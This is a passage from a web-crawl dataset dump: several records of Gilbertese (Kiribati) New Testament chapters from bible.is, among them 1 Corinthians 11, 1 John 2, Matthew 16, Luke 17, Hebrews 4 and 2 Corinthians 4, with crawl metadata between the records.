botaki, ao bon tiaki ana Toa te UEA are kam kanna. 21B'a ngkana kam am'arake, ao e waki n am'arake i bon i rouna te aomata n aki tataninga; ao e baki temanna, ao e manging temanna. 22B'a akea ami auti aika kam kona n am'arake ma ni moi iai? Ke kam kakeaa bonganan ana ekaretia te Atua, ma ni kamamaaia te koraki akana akea aia b'ai? Tera ae N na atongnga nako imi? N na kamoamoaingkami? I bon aki kamoamoaingkami n anne. 23B'a I karekea mairoun te UEA te baere I a tia naba n anganingkami: b'a E anaa te berena te UEA are Iesu n te bong are E kam'aneaki iai; 24ao ngke E a tia n tataro ni katituaraoi, ao E urua, ao E kangai, \"Rab'atau aei i bukimi. Kam na karaoa aei b'a kanuringau.\" 25Ngke a a tia n am'arake, ao E anaa te m'angko n aron naba are E karaoia nakon te berena, ao E kangai, \"Te m'angko aei, te boraraoi ae boou i nanon raraau. Kam na karaoa aei, n taai ake kam moi iai, b'a kanuringau.\" 26B'a n taai ake kam kana iai te berena aei, ma ni moi n te m'angko aei, ao kam kaotiota iai maten te UEA, ni karokoa ae E roko. 27Ma ngaia aei, b'a ane kana te berena, ke e moi n ana m'angko te UEA n te aro ae aki riai, ao e bure iai nakon rab'atan te UEA ma raraana. 28Ke e tirotiroa moa nanona te aomata, ao i mwina e na kana te berena, ma ni moi n te m'angko. 29B'a ane am'arake ma ni moi n aki ataia b'a tera rab'atan te UEA, ao e na karekea motikan taekana ae na kabuakakaki iai. 30Ao anne bukin ae a bati iai i buakomi aika mamara ma aika aki konab'ai, ao a tia ni mate tabem'aang. 31Ma ngkana ti neneri raoi aroarora, ao akea bairean taekara. 32Ma ngkana a baireaki taekara iroun te UEA, ao E bon reireiniira iai, b'a ti aonga n aki uaia ni kabuakakaki ma te aonnaba ae ekaanako nanon te Atua. 33Ma ngaia aei, taari, ngkana kam bootaki ni karaoa ana Toa te UEA, ao kam na tataningaia raomi. 34Ngkana iai ae baki i buakomi, ao a riai n am'arake n aia auti, b'a kam aonga n aki motikaki taekami iroun te Atua ngkana kam bootaki. Ao i bukin b'aai riki ake tabeua, I a bon kaeti ngkana I roko ikanne.\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/11","date":"2016-10-01T21:29:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738663247.66\/warc\/CC-MAIN-20160924173743-00059-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":896,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.255,"stopwords_ratio":0.417,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"16Ao iai te kaokoro i marenan te b'ai n tituaraoi ma ana bure te aomata ae temanna: b'a i mwin te bure ae teuana ao e roko te moti ni kabuakaka; ma i mwini buure aika bati ao e roko te b'ai n tituaraoi are motikan taekam b'a ko aki bure.\nROM 5:16\nFREE!\nOne App.\n1207 Languages.","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/5\/16","date":"2016-09-27T05:56:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738660966.51\/warc\/CC-MAIN-20160924173740-00286-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000097751617432}","num_words":56,"character_repetition_ratio":0.112,"word_repetition_ratio":0.0,"special_characters_ratio":0.278,"stopwords_ratio":0.464,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Au ataei aika uarereke, I koroi baikai nako imi, b'a kam aonga n aki bure. Ao ngkana e bure temanna, ao bon iai te Tia Tei i bukira are Iesu Kristo ae atataiaomata, are mena iroun te Tama: 2boni Ngaia te kareanraoi i bukin ara bure; ao tiaki ti ara bure, ma aia bure naba kaain aonnaba ni kabaneia. 3Ao aio te aro ae ti ataira iai b'a ti bon ata te Atua: ngkai ti tauu ana tua nako. 4Ane kangai, I ata te Atua; ma e aki tauu ana tua, ao bon te tia kewe, ao e aki mena te koaua i nanona; 5ma ane taua ana taeka, ao nanona b'a iai kororaoin tangiran te Atua i nanona. Ao n te aro aei, ti a ataia raoi iai b'a ti nim ma Ngaia. 6Ane taku b'a E nim te Atua ma ngaia, ao e riai n nakonako n te aro are E nakonako naba iai Kristo. 7Ngkami aika kam tangiraki, te tua ae I koroia ngkai nako imi bon tiaki te b'ai ae boou, ma bon te tua nikawai ae iai i roumi ma ngke kam moa n riki b'a Kristian, are bon te taeka are kam a tia n ongo. 8Ma e boni ngae n anne, ao I a korea ngkai te tua ae boou nako imi, ae iai koauana ni maiun Iesu ao ni maiumi naba; b'a e tabe ni mauna te roo, ao te oota ni koaua e a tia n oota nako. 9Ane taku b'a e mena n te oota, ma e riba tarina, ao e mena n te roo ni karokoa ngkai. 10Ane tangira tarina ao e maeka n te oota, ao akea te bae e na reke waena iai n tata nako. 11Ma ane riba tarina ao e mena n te roo, ao e nakonako n te roo n aki ataa ike e nako iai, b'a e kamataki matana te roo. 12Ataei aika kam uarereke, I koroboki nako imi, ngkai a a tia ni kab'araki ami bure i bukin arani Kristo. 13Taama, I koroboki nako imi, ngkai kam ata Teuare bon iai ma ngke a tuai ni karikaki b'aai. Rorobuaka, I koroboki nako imi, ngkai kam a tia n tokanikai i aon teuare buakaka. 14Ataei, I koroboki nako imi, ngkai kam ata te Tama. Rorobuaka, I koroboki nako imi, ngkai kam korakora; e memena ana taeka te Atua i nanomi, ao kam a tia n tokanikai i aon teuare buakaka. 15Kam na tai tangira te aonnaba ae bubure, ao tai tangiri naba b'aina nako. Ngkana e tangira aonnaba ae bubure te aomata, ao akea i nanona tangiran te Tama. 16B'a b'aai ni kabane aika mena i aonnaba, ae kaib'ab'arun te rab'ata, ma aia kaib'ab'aru maata, ma kainikatongan te maiu aei, a aki riki mairoun te Tama, ma a riki man te aonnaba ae bubure. 17E tabe ngkai ni mauna te aonnaba ae bubure ma kaib'ab'aruna; ma ane kakaraoa nanon te Atua, ao e na maiu n aki toki. 18Ataei, aei te kabanea n aoa; ao n aron are kam ongo b'a e nangi roko ana kairiribai Kristo, ao bon iai ngkai ana kairiribai Kristo aika bati aika kaoti. Ma ngaia ae ti ataia iai b'a aei te kabanea n aoa. 19Kairiribai aikai a nako mai buakora, ma bon tiaki raora; b'a ngke arona b'a raora, ao a na bon tiku i roura. Ma a nako mai buakora, b'a a na kaotaki b'a tiaki raora ngaiia ni kabaneia. 20Kam a tia ni kabiraki iroun Teuare Moan te Raoiroi, ao kam atai b'aai ni kabane. 21N na aki koroboki nako imi ngke kam aki ata te koaua; ma I koroboki b'a kioina ngkai kam ata te koaua, ao ngkai bon akea te kewe n te koaua. 22B'a antai te tia kewe ma bon te aomata ae taku b'a Iesu bon tiaki te Kristo? Te aomata anne bon ana kairiribai Kristo, e kakeaa te Tama ma te Nati. 23Ane kakeaa te Nati, ao akea te Tama i rouna; ane kaota onimakinan te Nati i rouna, ao bon iai naba te Tama i rouna. 24Ao ngkami, e na mena i nanomi te baere kam ongo ma ngke kam moa n riki b'a Kristian. Ngkana e memena i nanomi te baere kam ongo ngke kam moa n riki b'a Kristian, ao ane kam na nim ma te Nati ao te Tama naba. 25Ao aio te taeka n akoi are E tuangiira: b'a ti na maiu n aki toki. 26I koroi baikai nako imi i bukiia akana kataia ni m'am'anaingkami. 27Ao ngkami, E a tia Kristo ni karuoa Tamneina 28Ma ngaia aei, ngkami aika ataei aika kam uarereke, kam na nim ma Ngaia; b'a ngkana E a manga oki Kristo, ao ti na aki maaku ma ni kaota ae ti rangi ni mamaa i Rouna i matana. 29Ngkana kam ataia b'a E kakaraoa nanon te Atua, ao kam ataiia naba akana kakaraoa nanon te Atua b'a a bane ni bungiaki mai Rouna.\nCopyright","id":"","dump":"CC-MAIN-2016-44","url":"http:\/\/www.bible.is\/GILBSP\/1John\/2","date":"2016-10-23T08:26:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-44\/segments\/1476988719192.24\/warc\/CC-MAIN-20161020183839-00019-ip-10-171-6-4.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":824,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.258,"stopwords_ratio":0.399,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao a roko B'aritaio ma Tarukaio iroun Iesu b'a a na kam'anea; ao a butiia b'a E na karaoa te m'akuri teuana ae kamimii are e na kakoauaki iai b'a iai onimakinana iroun te Atua. 2Ao E kaekaia ni kangai, \"Ngkana e a tairiki, ao kam kangai: 'E na raoi; b'a e uraura rarikini karawa.' 3Ao ngkana e a tib'a moa n ingabong, ao kam kangai: 'E na buaka te bong aei, b'a e uraura rarikini karawa, ao e roro.' Kam kona te ata te bae na riki b'a kanoan te bong mani kanikina aika kam nori i karawa, ma kam aki atai nanoni kanikina ma baika riki ni boong aikai. 4A ukoukora te kanikina te roro ae buakaka ae aki ongotaeka nakon te Atua; ma akea te kanikina ae a na anganaki, b'a ti te kanikina are te baere riki nakon Iona are te burabeti.\" Ao E kitaniia, ao E nako. 5Ao ngke a roko ana reirei n iteran te nama are teuana, ao a m'aninga n uota te am'arake. 6E taku Iesu nako ia, \"Kam na tarataraingkami ao kawakiningkami man aia iti B'aritaio ma Tarukaio.\" 7Ao a iango i rouia ni kangai, \"E taekina aei i bukina ngkai ti aki ua am'arake.\" 8Ma Iesu, ngke E ata aei, ao E taku, \"Ngkami aika karako ami onimaki, kam aera ngkai kam iango i roumi i bukin akean te am'arake i roumi? 9Kam tuai n oota? Kam aki uringi kariki ake nimaai ake a kang aomata ake 5,000 ao m'aitini b'aene ake kam ikoti iai? 10Ao kariki ake itiai ake a kang aomata ake 4,000, ao m'aitini b'aene ake kam ikoti iai? 11Kam aera ngkai kam aki oota n ae I aki taetae nako imi i bukin te am'arake? Kam na kawakiningkami man aia iti B'aritaio ma Tarukaio!\" 12A ataia ngkanne b'a E aki tuangiia b'a a na kawakinia man te iti are b'ain te kariki, ma a na kawakinia man aia reirei B'aritaio ma Tarukaio. 13E roko Iesu n aaba ake i rarikini Kaitareia Biribi, ao E titirakiniia ana reirei ni kangai, A taku aomata b'a antai Natin te Aomata? 14Ao ngaiia a kangai, \"A taku tem'angina b'a Ioane are te tia B'abetito. Ao tem'angina, b'a Eria; ao tem'angina b'a Ieremia, ke te burabeti riki temanna.\" 15E taku nako ia, \"Ao ngkami kam taku b'a antai Ngai?\" 16E kaekaa Timon Betero ao e taku, \"Bon te Kristo Ngkoe, are Natin te Atua are maiu.\" 17Ao E kaekaa Iesu ni kangai, \"Ko a kab'aia, Timon ae natin Iona! B'a tiaki te aomata ae kaota aei nako im, ma E kaotia Tamau are i karawa. 18Ao I taku nako im, b'a Betero ngkoe, ao N na katea au ekaretia i aon te b'aa aei; ao e na aki kona n ekianako m'aakan te mate. 19N na anganiko kingin Uean te Atua; ao ane ko tabuia i aonnaba ao e na katabuaki naba i karawa; ao ane ko kariaia i aonnaba, ao e na kariaiaki naba i karawa.\" 20Ao E tuangiia ana reirei b'a a na aki tuangiia aomata b'a te Kristo Ngaia. 21Man te tai arei, ao E moa ni kaotia Iesu nakoia ana reirei, \"B'a e riai nakona nako Ierutarem ao b'a E na bati kamarakana irouia unimm'aane ma ibonga ake mataniwi ma taani koroboki, ao b'a E na kamateaki, ao E na manga kamaiuaki n te katenibong.\" 22Ao e kaira Iesu Betero ni kaokoroa, ao e takuia b'a E na aki taetae n arona arei. Ao e taku, \"E na nanoangaiko te Atua! E na aki riki aei nako Im!\" 23Ma E rairaki ao E taku nakoni Betero, \"Naako akuu Tatan! Ko riki b'a te b'ai ni kab'akab'aka nako Iu; b'a e reke i roum aron nanon te aomata ma tiaki aron nanon te Atua.\" 24E taku ngkanne Iesu nakoia ana reirei, \"Ngkana iai ane kan ri mwiu, ao e na kakeaa i bon i rouna, e na uota ana kaibangaki, ao e na irirai. 25B'a ane kani kawakina maiuna ao e na kabua; ao ane na kabua maiuna i buku ao i bukin te euangkerio, e na boni karekea. 26B'a tera te raka ae e na karekea te aomata ngkana e b'aina te aonnaba ae b'anin ao e kabua maiuna mai rouna? Ao tera ae e na anga te aomata b'a e na kaoka maiuna iai? 27B'a ane E na nakomai Natin te aomata ma ana anera i nanoni mimitongin Tamana; ao ane E na angania aomata ni kabaneia booni mwin aia m'akuri. 28E koaua ae I a tuangngkami b'a a na aki mate tabem'aang i buakoia aika tei ikai, ngkana a tuai n nora Natin te Aomata ngkana E nako mai ma ueana.\"\nCopyright","id":"","dump":"CC-MAIN-2016-44","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/16","date":"2016-10-26T14:31:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-44\/segments\/1476988720945.67\/warc\/CC-MAIN-20161020183840-00156-ip-10-171-6-4.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":775,"character_repetition_ratio":0.053,"word_repetition_ratio":0.008,"special_characters_ratio":0.261,"stopwords_ratio":0.408,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1E taku Iesu nakoia ana reirei: Ae a na bon roko taiani karirii nakoni karaoan te buakaka, ma e na reke kain ane a roko mai rouna baikanne. 2E raoiroi riki i rouna ngkana e katineaki i roroana te atiibu ae rawawata ao e tewenakoaki i taari, nakon ae e na kaira temanna i buakoia aika uarereke aikai nakoni karaoan te bure. 3Kam na kawakiningkami: \"Ngkana e bure tarim nako im, ao ko na takuia, ao ngkana e kab'ara ana bure, ao kab'ara ana bure; 4ao ngkana e bure nako im itiua te tai n teuana te bong, ao e kaitiua ana tai n rairaki ni kangai nako im n teuana te bong, 'I kab'ara ana bure,' ao ko na kab'ara ana bure.\" 5A taku taan tuatua nakon te Uea, \"Ko na kakorakorai riki ara onimaki.\" 6Ao E kangai te Uea: Ngkana iai ami onimaki ae kanga ai aron te koraa ae moan te uarereke, ao kam kona ni kangai nakon te kai aei, Ko na taekaki, ao ko na unikaki i taari; ao e na ongo i roumi. 7Antai i roumi ae iai ana toro ae m'akuri ni kamarauan te tano ao e kaam'arakeia tiibu, ae e na kangai nako ina ngkana e oki man ana m'akuri, \"Nako mai naba ngkai ao tekateka n rarikiriki n am'arake?\" 8Tiaki b'a e na kangai nako ina, Ko na katauraoa te am'arake i buku, ao kabaea nuukam ao karaoi baika I tangiri ngkai I am'arake ma ni moi? 9E na karab'a te toro arei i bukin ae e karaoa are e tuangaki? 10Ao ngkami naba, ngkana kam a tia ni karaoi baike kam tuangaki, ao kam na kangai, \"Tooro ngaira aika akea manera; ti karaoa ti are ara m'akuri.\" 11Ngke e nako Ierutarem Iesu, ao E ri nukan Taamaria ma Kariraia. 12Ao ngke E a kan rin n te kawa teuana, ao E kaitibo ma aomata aika tengaun aika rebera; ao a tei i kiraroa, 13ao a kanenei b'anaaia ao a kangai, \"Iesu ae te Tia Reirei, Ko na nanoangaira!\" 14Ngke E noriia ao E taku nako ia, \"Kam na nako ni kaotingkami nakoia ibonga.\" Ao ngke a tabe n nako ao a kaitiakaki. 15Ao ngkanne temanna mai buakoia, ngke e noria b'a e kamaiuaki, ao e rairaki n oki, ni kamoamoa te Atua n te b'ana ae korakora; 16ao e b'aka ni bobaraaki i rarikini waen Iesu, ao e anganna taeka ni kaitau. Bon te I-Taamaria ngaia. 17E taku ngkanne Iesu, \"Tiaki tengaun ake a kaitiakaki, ao a ngaa ake ruaman?\" 18Akea temanna ae e noraki b'a e oki n anga neboan te Atua b'a ti te iruwa aei. 19Ao E taku nako ina, \"Tei rake, ao naako; e kamaiuko am onimaki.\" 20Ngke E titirakinaki Iesu irouia B'aritaio b'a e na roko n ningai uean te Atua, ao E kaekaia ni kangai, \"Akea kanikina ake a na tuangngkami te tai are e na roko iai uean te Atua. 21Ao akea ae e kona ni kangai, Noria, ao aei; ke, Ngaia ao arei! B'a noria, e mena uean te Atua i buakomi.\" 22Ao E taku nakoia ana reirei: Ane a na roko boong are kam na kan nora iai ana bong Natin te Atua, e aoria ngkana ti te bongina, ma ane kam na aki noria. 23Ao ane a na kangai nako imi, \"Noria, Ngaia arei\" ke, \"Noria, Ngaia aei\" Tai nako, ao tai iriia. 24B'a aron te iti ae iti ao e kaota karawa man iterana teuana nakon are teuana, ao ai aron naba Natin te Aomata n ana bong. 25Ma e na kabatiaaki moa b'ainikirinana ao E na ribaaki irouia kaain te roro aei. 26Aron are e riki n ana tai Nooa, ao ai aron naba are e na riki n ana tai Natin te Aomata. 27A am'am'arake ao a momooi; a iein ao a kaieinaki, ni karokoa te tai are e rin Nooa iai i nanon te aake; ao e roko te ieka ao e tiringiia ni kabaneia. 28Aron naba are e riki n ana tai Rota: a am'am'arake ao a momooi; a kabooi b'aai ao a kabooi nako b'aai, a ununiki ao a katei auti, 29ma n te bong are e oti nako iai Rota mai Totom, ao E kab'aka te ai ma atiibu aika m'akarokaro te Atua mai karawa, ao a tiringiia aomata ni kabaneia; 30ao ai arona naba n te bong are E kaotaki iai Natin te Aomata. 31N te bong arei, ao ane mena i aon taubukin ana auti, ao ana b'ai i nanon te auti, e na aki ruo n anai n uoti nako; ao ai arona naba ma teuare mena n te onaroka i marenaua, b'a e na aki oki nakon ana b'ai ake a tiku i mwina. 32Kam na uringa rongorongoni buun Rota. 33Ane ukoukora kawakinani maiuna ao e na kabua, ma ane kabua maiuna ao e na kawakinna. 34I tuangngkami b'a n te tai arei, n tairikina, ao ane a na wene uoman aomata i aon te nne ni wene ae ti teuana; e na uotaki nako temanna, ao e na katukaki are temanna. 35Ane a na uaia n am'arake aine aika uoman; e na uotaki nako temanna, ao e na katukaki are temanna. 36Ane a na mena n te onaroka i marenaua aomata aika uoman; e na uotaki nako temanna, ao e na katukaki are temanna. 37Ao a kaekaa Iesu ana reirei ni kangai, \"Ia, te Uea? Ao Ngaia E kangai, \"Te tabo are e mena iai te rab'ata ae mate, ao ikanne are a na botaki naba iai mannikiba aika ikare.\"\nCopyright","id":"","dump":"CC-MAIN-2016-44","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/17","date":"2016-10-24T00:20:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-44\/segments\/1476988719453.9\/warc\/CC-MAIN-20161020183839-00263-ip-10-171-6-4.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":923,"character_repetition_ratio":0.049,"word_repetition_ratio":0.018,"special_characters_ratio":0.26,"stopwords_ratio":0.438,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ngaia aei, ngkai ti anganaki te taeka n akoi i bukin te rin i nanon ana motirawa te Atua, ao ti na taraia raoi b'a e kawa ni kuneaki temanna i buakomi b'a e aki tau n rin iai. 2B'a e a tia n taekinaki te euangkerio nako ira, n ai aroia; naba; ma e matebuaka i rouia te rongorongo are a ongo, b'a a aki b'aina naba te onimaki are e reke irouia te koraki ake raoia n ongora. 3Ngaira ngkanne, aika ti onimaki, ti a rin i nanon te motirawa arei; n ai aron are E taekinna te Atua ni kangai, \"Ma ngaia are I taetae n tuea iai ngke I un, 'B'a a na aki rin i nanon au motirawa!' \" E taekina aei, e boni ngae ngke a kaman tia ana m'akuri ma ngke a moa ni karikaki aonnaba. 4B'a E taekina te kaitibong n te tabo teuana ni kangai: \"E motirawa te Atua n te kaitibong man ana m'akuri ni kabane.\" 5Te b'ai naba aei e a manga taekinaki naba ni kangai: \"A na bon aki rin i nanon au motirawa.\" 6Te koraki ake a moa n ongo te rongorongo ae raoiroi are taekan te motirawa e aki reke nako ia te motirawa anne, i bukin aia aki ongeaba. Ma iai ngkanne tabem'aang aika kariaiakaki b'a e na reke nako ia. 7E kaotaki aei n aron te Atua ni bairea te bong teuana, ae aranaki b'a Te bong aei; ngke E kangai iroun Tawita, i mwin ririki aika bati, n ai aron are e a tia n taekinaki: \"Ngkana kam ongo b'anaana n te bong aei, ao kam na tai kamatoatoai nanomi.\" 8B'a ngke arona b'a e anganiia aomata Iotua te motirawa, ao E aki manga taekina te bong ae te bongina te Atua i mwini baikai. 9Ma ngaia ae bon iai te motirawa n Taabati nakoia ana aomata te Atua. 10B'a ane rin i nanon ana motirawa te Atua, ao e boni motirawa man ana m'akuri, n ai aron te Atua ngke E motirawa naba man ana m'akuri. 11Ma ngaia ae ti na kakorakoraira ni kan rin i nanon te motirawa arei, b'a e kawa temanna ni b'aka, ni katotongiia te koraki arei i bukin aia aki ongeaba. 12B'a e maiu ana taeka te Atua, ao e m'am'akuri ao e kakang riki nakoni kabaang aika uaitera wiia ni kabane, ao e ewara nako te aomata nakon te tabo are a kaitibo iai te maiu ma te tamnei, ao taian toma n ri ma kanoan ri; ao e atai raoi ana iango te nano ma baika riki iai. 13Bon akea te b'ai teuana ae karikaki ae na raba mai Rouna; ma a bane b'aai ni kakiaki rabunaia ma ni kaotaki raoi i matan Teuare Ngaia ae ti nangi taekin arora nako Ina. 14Ma ngaia aei, ngkai iai ara ibonga ae moanibaan te kakannato, are E a tia n ri buakon taiani karawa, are Iesu are Natin te Atua, ao ti na taua are ti a tia n taekinna i bukina. 15B'a ara ibonga ae kakannato bon tiaki ae aki kona te nanoangaira i bukini mamarara, ma bon ae kaririaki ni b'aai ni kabane n ai arora, ma E aki bure. 16Ma ngaia ae ti na tai maaku ni kaania ana kaintokanuea te Atua are e akoaki te aba iai, b'a ti aonga n anganaki te nanoangaki, ao ti aonga ni karekea te akoaki ngkana a kai nanora.\nCopyright","id":"","dump":"CC-MAIN-2016-44","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/4","date":"2016-10-21T15:08:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-44\/segments\/1476988718284.75\/warc\/CC-MAIN-20161020183838-00138-ip-10-171-6-4.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":573,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.438,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ngaia aei, ngkae e reke i roura te m'akuri aei n ana nanoanga te Atua, ao a aki b'ara nanora; 2ma ti aki maiuakini baika raba aika b'aai ni kamamaa, ao ti aki b'aina te maiu ni bureburea te aba; ao ti aki naba kab'aoua ana taeka te Atua. Ma ti kaotioti arora aika raraoi, ni kaotiotan te koaua nakoni mataniwin nanoia aomata ni kabaneia i matan te Atua. 3Ao ngkana e rabunaki ara euangkerio, ao e rabunaki nakoia ake a nangi mate; 4b'a a a tia n rabunaki nanoia aomata aika tiaki taan onimaki iroun atuan te aonnaba aei, b'a a na aki nora ootan euangkerioni mimitongini Kristo, are katotongan te Atua. 5B'a ti aki taekinira, ma ti taekina Kristo Iesu b'a te UEA, ao ngaira b'a ami toro i bukin Iesu. 6B'a bon te Atua, are kangai, \"E na oota te oota mai buakon te roo!\" Bon te Atua naba aei are kaota ana oota i nanora, b'a ti na ata mimitongin te Atua b'a e oota man ubun Iesu. 7Ma iai i roura ngaira aika ai aroia m'angko taano, te b'ai ae kakawaki aei, b'a e aonga n ataaki b'a te m'aka ae korakora boni m'aakan te Atua, ao tiaki m'akara. 8Ti kaitaraa ma te rawawata n aaro nako, ma ti aki konaaki iai; ti babanga arora, ma a aki b'ara nanora; 9ti b'ainikirinaki, ma ti aki kitanaki; ti kab'akaki, ma ti aki kamateaki; 10ao ti uouota n taai nako maten Iesu i aon rab'atara, b'a e aonga ni kaotaki naba maiun Iesu i aon rab'atara. 11B'a ngkai ti maiu ao ti aki toki ni kaitaraa ma te kanganga ae kaan ae ti na mate iai i bukin Iesu, b'a e aonga ni kaotaki maiun Iesu i nanon rab'atara aika mamate. 12Ma ngaia ae e m'am'akuri te mate i nanora, ma te maiu i nanomi. 13B'a e koreaki ae kangai, \"I onimaki, ma ngaia are I taetae.\" Ngkai iai i roura te onimaki ae ti te bo arona ma aei, ao ngaia ae ti taetae naba 14b'a ti ataia b'a Teuare E a manga uti ara UEA are Iesu i Rouna, ti na maiu naba i Rouna ni botaki ma Iesu, ao E na kaotira ma ngkami i matan Iesu. 15B'a bon i bukimi baikai ni kabane; ao ngkai a bati riki aomata aika kamaiuaki n ana akoi te Atua, ao a na kabati riki tataro ni katituaraoi i bukin neboan te Atua. 16Ma ngaia ae a aki b'ara nanora. B'a ngkana e tabe ni mamara aomatara ae i aora, ma e boni kakorakoraki aomatara ae i nanora n te bong ae koraki. 17B'a rawawatara ngkai ae bebete e na uotiira nakon te mimitong ae e raka arona ae e aki totoki ae akea aroni kabotauana. 18B'a ti aki taratarai baika nonoraki, ma ti taratarai baika aki nonoraki; b'a baika nonoraki a kai toki, ma baika aki nonoraki a aki totoki.\nCopyright","id":"","dump":"CC-MAIN-2016-44","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/4","date":"2016-10-25T09:15:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-44\/segments\/1476988720000.45\/warc\/CC-MAIN-20161020183840-00495-ip-10-171-6-4.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":486,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.44,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1E rin Iesu i Ieriko, ao E ri nuukana. 2Ao noria, iai te aomata temanna ae arana Takaio, ae mataniwiia taan anai taekiti, ao e kaub'ai. 3E kan nora Iesu b'a tera aron taraana, ma e aki kona i bukiia aomata aika m'aiti, ao ngaia, te aomata ae uarereke. 4Ma ngaia are e biri ri moa ao e tam'arakea te kai ae te tukomorea b'a e na nora Iesu ngkana E rikekei. 5Ao ngke E roko Iesu n te tabo arei, ao E tara rake, ao E noria, ao e kangai nako ina, \"Takaio, bareiko ruo! B'a e riai b'a N na tiku n am auti n te bong aei.\" 6Ma ngaia are e barekia n ruo, ao e butim'aea Iesu ma te kim'areirei. 7Ao a bane ni ngurengure aomata ake a noria, ao a kangai, \"E nako n rin b'a E na iruwanaki iroun te aomata ae te tia bure.\" 8Ao e tei Takaio, ao e taku nakon te Uea, \"Noria, te Uea, N na anga nako iteran au b'ai nako nakoia akana aki kaub'ai; ao ngkana I a tia n anaa te b'ai teuana mairoun temanna n te aro ni babakanikawai, ao N na manga kaokia nako ina ni kaaua te tai m'aitina. 9Ao E taku Iesu nako ina, \"E a kamaiuaki te utu aei n te bong aei b'a ngaia natin naba Aberaam teuaei.\" 10B'a E roko Natin te Aomata b'a E na ukoukoria akana bua ao E na kamaiuia. 11Ngke a tabe n ongora aomata ni baikekei, ao E a manga reita nako ana taeka Iesu n te rongorongo ni kabotau, i bukina ngke e a kaan ma Ierutarem, ao i bukina ngke a taku n aia iango b'a e na karina ni kaoti Uean te Atua. 12Ma ngaia are E taku: E nako te mataniwi temanna nakon te aba are raroa b'a e na kaueaaki iai, ao e na manga okira mwengana. 13Ma i m'aini m'anangana, ao e weteia ana toro ake tengaun, ao e anganiia aia m'ane tabeua. Ao e taku nako ia, \"Kam na kabonganaa ni manga karekea riki te m'ane ni karokoa okiu.\" 14Ma e ribaaki teuarei irouia ana aomata, ao a kanakoia taan taetae i bukiia b'a a na ri mwina, ao a na atongi taeka aikai n te aba are e mena iai teuarei: \"Tiaki tangira teuaei b'a e na uea i aora.\" 15Ngke e a oki, i mwin reken te nakoa n uea i rouna, ao e tua b'a a na weteaki nako ina tooro ake e a tia n anganiia te m'ane, b'a e aonga n ataia b'a tera aia raka ae a karekea n te bob'ai. 16E kaoti te moa n aomata i matana, ao E taku, \"Teuae karineaki, am m'ane are ko anganai I a tia ni karekea riki tebwina rakana.\" 17Ao ngaia e taku nako ina, \"E nako raoi am m'akuri, te toro ae ko raoiroi ngkoe! Ngkai ko a tia ni kakaonimaki n ae rangi n uarereke, ao ko na mataniwi i aon tebwina te kawa.\" 18Ao e roko te kauoman, ao e taku, \"Teuae karineaki, am m'ane are ko anganai, I a tia ni karekea nimaua riki rakana.\" 19Ao ngaia e taku nako ina, \"Ao ngkoe naba ko na mataniwi i aon nimaua te kawa.\" 20Ao e roko are temanna ao e taku, \"Teuae karineaki, ao aei am m'ane, ae I niiria ni kawakinna n te kunnikai. 21B'a I makuko, b'a te aomata ae ko matoatoa ngkoe; ko kareke am b'ai mani mwin aia m'akuri aomata, ao ko boboti uaa n taabo ake ko aki ununiki iai.\" 22Ao ngaia e taku nako ina, \"Te toro ae ko buakaka!\" \"N na kabuakakako man am taeka akana nako mai wiim! Ko ataia b'a te aomata ngai ae I matoatoa b'a I kareke au b'ai mani mwin aia m'akuri aomata ao I boboti uaa n taabo aika I aki ununiki iai. 23E 